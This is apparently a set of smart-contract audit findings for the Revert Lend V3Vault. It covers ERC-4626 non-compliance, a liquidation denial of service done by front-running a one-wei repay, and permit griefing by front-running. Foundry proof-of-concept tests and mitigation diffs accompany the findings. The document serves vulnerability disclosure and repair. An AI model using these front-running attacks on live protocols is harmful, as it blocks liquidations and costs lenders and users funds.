Revert Lend - jnforja's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L301-L309 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L312-L320 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L323-L326 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L329-L331

Vulnerability details

Impact

Protocols that try to integrate with Revert Lend, expecting V3Vault to be ERC-4626 compliant, may face an array of issues that will damage the brand of Revert Lend and limit its growth in the market.

Proof of Concept

All official ERC-4626 requirements are on their official page. Non-compliant methods are listed below along with why they are not compliant and code POCs demonstrating the issues. To run the POCs, copy-paste them into V3Vault.t.sol:

V3Vault::maxDeposit and V3Vault::maxMint fail to account for Vault's daily limits

ERC4626 specifies that maxDeposit and maxMint must have the following properties:

MUST return the maximum amount of assets `deposit` would allow to be deposited for receiver and not cause a revert

MUST return the maximum amount of shares `mint` would allow to be deposited to receiver and not cause a revert

However, V3Vault's implementations fail to consider the daily limit of assets that can be added to the Vault and return values that only consider V3Vault's global limits, thus breaking the abovementioned properties.

function testMaxDepositDoesntAccountForDailyLimit() external {
        uint256 lendLimit = vault.globalLendLimit();
        uint256 dailyDepositLimit = vault.dailyLendIncreaseLimitMin();
        uint256 amount = dailyDepositLimit + 10;
        assertTrue(dailyDepositLimit < amount && lendLimit > amount);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), amount);
        
        uint256 maxDepositVal = vault.maxDeposit(WHALE_ACCOUNT);
        assertGt(maxDepositVal, amount);

        vm.expectRevert(IErrors.DailyLendIncreaseLimit.selector);
        vm.prank(WHALE_ACCOUNT);
        //Shouldn't revert since V3Vault::maxDeposit returned a value bigger than amount, but will.
        vault.deposit(amount, WHALE_ACCOUNT);
    }

    function testMaxMintDoesntAccountForDailyLimit() external {
        uint256 lendLimit = vault.globalLendLimit();
        uint256 dailyDepositLimit = vault.dailyLendIncreaseLimitMin();
        uint256 amount = dailyDepositLimit + 10;
        assertTrue(dailyDepositLimit < amount && lendLimit > amount);
        uint256 shares = vault.previewDeposit(amount);
        assertEq(vault.previewMint(shares), amount);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), amount);
        
        uint256 maxMintVal = vault.maxMint(WHALE_ACCOUNT);
        assertGt(maxMintVal, amount);

        vm.expectRevert(IErrors.DailyLendIncreaseLimit.selector);
        vm.prank(WHALE_ACCOUNT);
        //Shouldn't revert since V3Vault::maxMint returned a value bigger than shares, but will.
        vault.mint(shares, WHALE_ACCOUNT);
    }

V3Vault::maxWithdraw and V3Vault::maxRedeem fail to account for V3Vault available balance.

ERC4626 specifies that maxWithdraw and maxRedeem must have the following properties:

MUST return the maximum amount of assets that could be transferred from `owner` through `withdraw` and not cause a revert

MUST return the maximum amount of shares that could be transferred from `owner` through `redeem` and not cause a revert

However, V3Vault's implementations fail to consider the vault's available balance, thus returning values bigger than those that can be transferred which breaks the abovementioned properties.

 function testMaxWithdrawDoesntAccountForAvailableBalance() external {
        uint256 lent = 2940;
        uint256 debt = 323;

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), lent);

        vm.prank(WHALE_ACCOUNT);
        vault.deposit(lent, WHALE_ACCOUNT);

        // add collateral
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vm.prank(TEST_NFT_ACCOUNT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);

        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, debt);

        uint256 vaultBalance = USDC.balanceOf(address(vault));
        vaultBalance = USDC.balanceOf(address(vault));
        lent = vault.lendInfo(WHALE_ACCOUNT);
        uint256 maxWithdrawVal = vault.maxWithdraw(WHALE_ACCOUNT);
        (,,,uint256 available,,,) = vault.vaultInfo();
        
        vm.expectRevert(IErrors.InsufficientLiquidity.selector);
        vm.prank(WHALE_ACCOUNT);
        // Reverts but shouldn't as the return value of maxWithdraw must not cause a revert.
        vault.withdraw(maxWithdrawVal, WHALE_ACCOUNT, WHALE_ACCOUNT);
        assertGt(maxWithdrawVal, available);
    }

    function testMaxRedeemDoesntAccountForAvailableBalance() external {
        uint256 lent = 2940;
        uint256 debt = 323;

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), lent);

        vm.prank(WHALE_ACCOUNT);
        vault.deposit(lent, WHALE_ACCOUNT);

        // add collateral
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vm.prank(TEST_NFT_ACCOUNT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);

        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, debt);

        uint256 vaultBalance = USDC.balanceOf(address(vault));
        vaultBalance = USDC.balanceOf(address(vault));
        lent = vault.lendInfo(WHALE_ACCOUNT);
        uint256 maxRedeemVal = vault.maxRedeem(WHALE_ACCOUNT);
        
        vm.expectRevert(IErrors.InsufficientLiquidity.selector);
        vm.prank(WHALE_ACCOUNT);
        // Reverts but shouldn't as the return value of maxRedeem must not cause a revert.
        vault.redeem(maxRedeemVal, WHALE_ACCOUNT, WHALE_ACCOUNT);
    }

Tools Used

Manual review and fuzzing.

Recommended Mitigation Steps

Change V3Vault::maxDeposit and V3Vault::maxMint so they never return a value that would result in passing the limit defined by V3Vault::dailyLendIncreaseLimitLeft.

Change V3Vault::maxWithdraw and V3Vault::maxRedeem so they never return a value that would result in a user trying to transfer from the vault more assets than the vault has available.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L695-L698

Vulnerability details

Impact

Attackers can DoS any loan about to be liquidated by front-running calls to V3Vault::liquidate and repaying one wei of debt-shares. If the attack is done for long enough, it can create various underwater positions damaging all Revert Lend lenders as the protocol distributes losses on outstanding debts amongst their lenders.

Proof of Concept

The following POC shows how a call to V3Vault::lend can be DoS'd by front-running it and repaying one wei in debt shares. To run the POC, copy-paste it into V3Vault.t.sol

  function testLiquidationCanBeFrontrunAndRevert() external {
        _setupBasicLoan(true);

        // debt is equal collateral value
        (
            uint256 debt,
            uint256 fullValue,
            uint256 collateralValue,
            uint256 liquidationCost,
            uint256 liquidationValue
        ) = vault.loanInfo(TEST_NFT);

        // collateral DAI value change -100%
        vm.mockCall(
            CHAINLINK_DAI_USD,
            abi.encodeWithSelector(
                AggregatorV3Interface.latestRoundData.selector
            ),
            abi.encode(
                uint80(0),
                int256(0),
                block.timestamp,
                block.timestamp,
                uint80(0)
            )
        );

        // should revert because oracle and pool price are different
        vm.expectRevert(IErrors.PriceDifferenceExceeded.selector);
        (
            debt,
            fullValue,
            collateralValue,
            liquidationCost,
            liquidationValue
        ) = vault.loanInfo(TEST_NFT);
        // ignore difference - now it will work
        oracle.setMaxPoolPriceDifference(10001);

        // debt is greater than collateral value
        (
            debt,
            fullValue,
            collateralValue,
            liquidationCost,
            liquidationValue
        ) = vault.loanInfo(TEST_NFT);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost - 1);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        uint256 oneWei = vault.convertToAssets(1);
        //Random address with USDC
        address attacker = 0x6F4565c9D673DBDD379ABa0b13f8088d1AF3Bb0C;
        vm.prank(attacker);
        USDC.approve(address(vault), oneWei);
        vm.prank(attacker);
        //Front-run call to liquidate() so it fails
        vault.repay(TEST_NFT, 1, false);

        vm.expectRevert(IErrors.DebtChanged.selector);
        vm.prank(WHALE_ACCOUNT);
        vault.liquidate(
            IVault.LiquidateParams(
                TEST_NFT,
                debtShares,
                0,
                0,
                WHALE_ACCOUNT,
                ""
            )
        );
    }

Tools Used

Manual review

Recommended Mitigation Steps

Remove debtShares as a parameter for V3Vault::liquidate and assume the user is trying to liquidate the amount of debt shares in the loan when the transaction happens.

   function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
    ...
 - if (debtShares != params.debtShares) {
 -     revert DebtChanged();
 - }
    ...
   }

struct LiquidateParams {
        // token to liquidate
        uint256 tokenId;
-       // expected debt shares - reverts if changed in the meantime
-       uint256 debtShares;
        // min amount to recieve
        uint256 amount0Min;
        uint256 amount1Min;
        // recipient of rewarded tokens
        address recipient;
        // if permit2 signatures are used - set this
        bytes permitData;
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L423 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/V3Utils.sol#L106

Vulnerability details

Impact

Calls to V3Vault::createWithPermit and V3Utils::executeWithPermit can be griefed causing transaction senders to lose money in gas and forcing them to send a new transaction.

Proof of Concept

To grief V3Vault::createWithPermit and V3Utils::executeWithPermit an attacker needs to front-run calls to those methods and, using the permit parameters, evoke INonfungiblePositionManager::permit. Since a permit can only be used once, the subsequent calls to INonfungiblePositionManager::permit made by V3Vault::createWithPermit and V3Utils::executeWithPermit will fail.

POC for V3Vault::createWithPermit

// Copy-paste to V3Vault.t.sol to execute.
function testCreateWithPermitCanBeGriefed() external {
        uint256 privateKey = 123;
        address addr = vm.addr(privateKey);
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.transferFrom(TEST_NFT_ACCOUNT, addr, TEST_NFT);
        assertEq(NPM.ownerOf(TEST_NFT), addr);

        /** Create Permit */
        uint256 deadline = block.timestamp + 1 days;
        (uint96 nonce,,,,,,,,,,,) = NPM.positions(TEST_NFT);
        bytes32 _PERMIT_TYPEHASH = keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)");
        bytes32 msgHash = keccak256(
            abi.encodePacked(
                "\x19\x01",
                NPM.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(NPM.PERMIT_TYPEHASH(), address(vault), TEST_NFT, nonce, deadline)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, msgHash);
        
        (address attacker,) = makeAddrAndKey("attacker");
        vm.prank(attacker);
        /** Attacker front-runs call to V3Vault::createWithPermit making the permit invalid */
        NPM.permit(address(vault), TEST_NFT, deadline, v, r, s);

        vm.expectRevert("Unauthorized");
        vm.prank(addr);
        vault.createWithPermit(TEST_NFT, addr, addr, deadline, v, r, s);
        assertEq(NPM.ownerOf(TEST_NFT) , addr);
    }

POC for V3Utils::executeWithPermit

// Copy-paste to V3Utils.t.sol to execute
function testExecuteWithPermitCanBeGriefed() external {
        // add liquidity to existing (empty) position (add 1 DAI / 0 USDC)
        _increaseLiquidity();
        (,,,,,,, uint128 liquidityBefore,,,,) = NPM.positions(TEST_NFT);

        /** Move NFT to an account we know the private key */
        uint256 privateKey = 123;
        address addr = vm.addr(privateKey);
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.transferFrom(TEST_NFT_ACCOUNT, addr, TEST_NFT);
        assertEq(NPM.ownerOf(TEST_NFT), addr);

        // Set up instruction that would usually succeed
        V3Utils.Instructions memory inst = V3Utils.Instructions(
            V3Utils.WhatToDo.CHANGE_RANGE,
            address(USDC),
            0,
            0,
            500000000000000000,
            400000,
            _get05DAIToUSDCSwapData(),
            0,
            0,
            "",
            type(uint128).max, // take all fees
            type(uint128).max, // take all fees
            100, // change fee as well
            MIN_TICK_100,
            -MIN_TICK_100,
            liquidityBefore, // take all liquidity
            0,
            0,
            block.timestamp,
            addr,
            addr,
            false,
            "",
            ""
        );

        /** Create Permit */
        uint256 deadline = block.timestamp + 1 days;
        (uint96 nonce,,,,,,,,,,,) = NPM.positions(TEST_NFT);
        bytes32 _PERMIT_TYPEHASH = keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)");
        bytes32 msgHash = keccak256(
            abi.encodePacked(
                "\x19\x01",
                NPM.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(NPM.PERMIT_TYPEHASH(), address(v3utils), TEST_NFT, nonce, deadline)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, msgHash);

        (address attacker,) = makeAddrAndKey("attacker");
        vm.prank(attacker);
        /** Attacker front-runs call to V3Utils::executeWithPermit making the permit invalid */
        NPM.permit(address(v3utils), TEST_NFT, deadline, v, r, s);

        vm.expectRevert("Unauthorized");
        inst.deadline = deadline;
        vm.prank(addr);
        v3utils.executeWithPermit(TEST_NFT, inst, v, r, s);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

Wrap calls to INonfungiblePositionManager::permit in a try/catch block. In case of error verify if the executing contract has approval over the token to process, if it doesn't revert with an Unauthorized error.

Follows diff for V3Vault::createWithPermit

- nonfungiblePositionManager.permit(address(this), tokenId, deadline, v, r, s);
+ try nonfungiblePositionManager.permit(address(this), tokenId, deadline, v, r, s) {
+       } catch {
+           //Permit potentially got frontran. Revert if owner is not approved.
+           if(nonfungiblePositionManager.getApproved(tokenId) != address(this)) {
+               revert Unauthorized();
+           }
+       }

Follows diff for V3Utils::executeWithPermit

- nonfungiblePositionManager.permit(address(this), tokenId, instructions.deadline, v, r, s)
+ try nonfungiblePositionManager.permit(address(this), tokenId, instructions.deadline, v, r, s) {
+        } catch {
+            //Permit potentially got frontran. Revert if owner is not approved.
+            if(nonfungiblePositionManager.getApproved(tokenId) != address(this)) {
+               revert Unauthorized();
+            }
+        }

Assessed type

DoS